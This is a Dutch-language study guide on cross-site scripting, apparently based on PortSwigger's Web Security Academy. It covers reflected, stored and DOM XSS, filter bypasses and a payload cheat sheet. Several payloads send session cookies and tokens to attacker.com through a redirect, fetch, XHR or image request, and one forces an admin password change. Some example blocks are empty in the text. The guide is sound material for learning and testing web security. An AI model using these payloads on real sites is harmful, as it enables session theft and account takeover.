Cross-Site Scripting (XSS)
Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen
1. Wat is XSS?
Cross-Site Scripting (XSS) laat een aanvaller toe om kwaadaardige scripts te injecteren in webpagina's die door andere gebruikers worden bekeken. De browser van het slachtoffer voert het script uit alsof het van de legitieme site afkomstig is.
Dit kan leiden tot:
- Stelen van sessiecookies en tokens
- Overnemen van gebruikersacties (keylogging, formulieren)
- Phishing en credential harvesting
- Aanpassen van pagina-inhoud (defacement)
- Uitvoeren van CSRF-aanvallen namens het slachtoffer
Verschil met SQLi
XSS richt zich op de browser van het slachtoffer — SQLi richt zich op de databaseserver. XSS is een client-side aanval; de server wordt niet rechtstreeks gecompromitteerd.
2. XSS Detecteren
Manuele detectie via een systematische aanpak op elk entry point:
| Stap | Wat je doet |
|---|---|
| 1 | Injecteer een unieke benigne string: xsstest1234 |
| 2 | Zoek de reflectie terug in de HTTP-response |
| 3 | Bepaal de context (HTML, attribuut, JS, URL) |
| 4 | Test een aangepaste payload voor die context |
| 5 | Bevestig uitvoering via alert(), print() of console.log() |
Burp Scanner
Burp Scanner detecteert de meeste XSS-kwetsbaarheden automatisch. Manueel testen is nuttig om de context en impact te begrijpen.
alert() geblokkeerd?
Sommige moderne browsers blokkeren alert() in sandboxed iframes. Gebruik dan print() of console.log() als alternatief.
3. Reflected XSS
De payload komt uit de HTTP-request. De applicatie verwerkt de invoer en stuurt hem ongesaniteerd terug in de directe response.
De server genereert:
De browser voert het script uit.
Vereiste interactie
Reflected XSS vereist dat het slachtoffer op een speciaal gecraftte link klikt. Aanvallers verspreiden die links via phishing, forums of URL-shorteners.
Meest voorkomend in: zoekresultaten, foutmeldingen, URL-parameters, formuliervalidatie.
4. Stored XSS
De payload wordt opgeslagen in de database en bij elke pageview van andere gebruikers uitgevoerd. Geen interactie met een link vereist.
<!-- Aanvaller plaatst in een commentaarveld: -->
Geweldig artikel! <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Bij elke bezoeker die de pagina laadt, wordt het script uitgevoerd.
Meest gevaarlijk
Stored XSS is persistenter en gevaarlijker dan Reflected XSS. Één injectie kan alle toekomstige bezoekers treffen — inclusief admins.
Meest voorkomend in: reacties, forumberichten, gebruikersprofielen, productnamen, log-viewers.
5. DOM-based XSS
De kwetsbaarheid zit in de client-side JavaScript. Aanvallerdata wordt gelezen vanuit een source en zonder sanitisatie geschreven naar een gevaarlijke sink.
5.1 Sources (aanvallersdata ingangspunten)
document.URL
document.location
document.location.search
document.location.hash
document.referrer
window.name
5.2 Sinks (gevaarlijke schrijffuncties)
| Sink | Risico |
|---|---|
document.write() |
HTML injectie |
innerHTML |
HTML injectie |
eval() |
JavaScript uitvoering |
setTimeout() / setInterval() |
JavaScript uitvoering |
element.src |
Script/resource loading |
location.href |
Navigatie naar javascript: URL |
5.3 Voorbeeld
// Kwetsbare code — schrijft URL-hash rechtstreeks naar DOM
document.getElementById('output').innerHTML = decodeURIComponent(location.hash.slice(1));
Payload in URL:
DOM XSS vs Reflected/Stored
Bij DOM XSS verlaat de payload de browser nooit — ze zit volledig in de URL of client-side state. Proxy's en scanners die alleen server-responses bekijken missen dit type.
6. XSS Contexts & Payloads
6.1 HTML Context
Reflectie tussen HTML-tags:
6.2 HTML Attribuut Context
Reflectie binnen een attribuutwaarde:
6.3 JavaScript String Context
Reflectie in een JavaScript-string:
6.4 URL Context
Reflectie in een href of src attribuut:
URL-encoding
javascript:alert(1) moet correct URL-encoded zijn in sommige contexten. Test ook JaVaScRiPt:alert(1) als filter aanwezig is.
7. Filter Bypasses
7.1 Case Mixing
7.2 Alternatieve Tags
<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<math><mtext></table><img src=1 onerror=alert(1)>
7.3 Event Handler Varianten
Als onerror en onload geblokkeerd zijn:
onfocus onblur onmouseover onmouseout
onkeydown onkeyup onkeypress onclick
onpointerover ontouchstart onanimationend
7.4 Character Encoding
7.5 Spaties Omzeilen
7.6 Quotes Omzeilen
PortSwigger XSS Cheat Sheet
De PortSwigger XSS cheat sheet bevat honderden geteste payloads per browser en context. Zie sectie 8.
8. Impact & Exploitatie
8.1 Cookie Stelen
of via fetch (stealthier):
8.2 Session Token via XHR
var xhr = new XMLHttpRequest();
xhr.open('GET','https://attacker.com/?token='+document.cookie);
xhr.send();
8.3 Keylogger
8.4 Pagina-inhoud Exfiltreren
8.5 Admin-actie Uitvoeren (CSRF via XSS)
// Wachtwoord wijzigen als admin
fetch('/my-account/change-password', {
method: 'POST',
body: 'password=hacked&confirm=hacked'
})
HttpOnly cookie
Als de sessiecookie HttpOnly is, kan JavaScript document.cookie niet uitlezen. Maar je kan nog steeds acties uitvoeren namens het slachtoffer via CSRF-aanvallen vanuit de XSS-context.
9. DOM XSS — Stap-voor-Stap Aanpak
Stap 1 — Source identificeren
Zoek in de JavaScript-code welke source de aanvallerdata bevat:
Stap 2 — Sink identificeren
Zoek waar de source-data terechtkomt:
Stap 3 — Payload aanpassen aan sink
Stap 4 — Context valideren
Controleer of de sink de data nog eens transformeert (encode, decode, trim) voor je payload aanpast.
10. XSS Cheat Sheet
Basis Payloads
| Context | Payload |
|---|---|
| HTML | <script>alert(1)</script> |
| HTML | <img src=x onerror=alert(1)> |
| HTML | <svg onload=alert(1)> |
| Attribuut | " onmouseover="alert(1) |
| Attribuut | " autofocus onfocus="alert(1) |
| JS String | '; alert(1)// |
| JS Template | ${alert(1)} |
| href | javascript:alert(1) |
Cookiediefstal Payloads
| Methode | Payload |
|---|---|
| Redirect | <script>document.location='https://attacker.com/?c='+document.cookie</script> |
| Fetch | <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script> |
| Img | <img src=x onerror="this.src='https://attacker.com/?c='+document.cookie"> |
DOM Sinks vs Payloads
| Sink | Payload |
|---|---|
innerHTML |
<img src=1 onerror=alert(1)> |
document.write() |
<script>alert(1)</script> |
eval() |
alert(1) |
setTimeout() |
alert(1) |
location.href |
javascript:alert(1) |
element.src |
javascript:alert(1) |
Bypasses Samenvatting
| Filter | Bypass |
|---|---|
<script> geblokkeerd |
<img src=x onerror=alert(1)> |
| Lowercase geblokkeerd | <ScRiPt>alert(1)</sCrIpT> |
onerror geblokkeerd |
onfocus autofocus / onmouseover |
| Aanhalingstekens geblokkeerd | onerror=alert(1) (zonder quotes) |
| Spaties geblokkeerd | <svg/onload=alert(1)> |
alert geblokkeerd |
print() / confirm() / console.log() |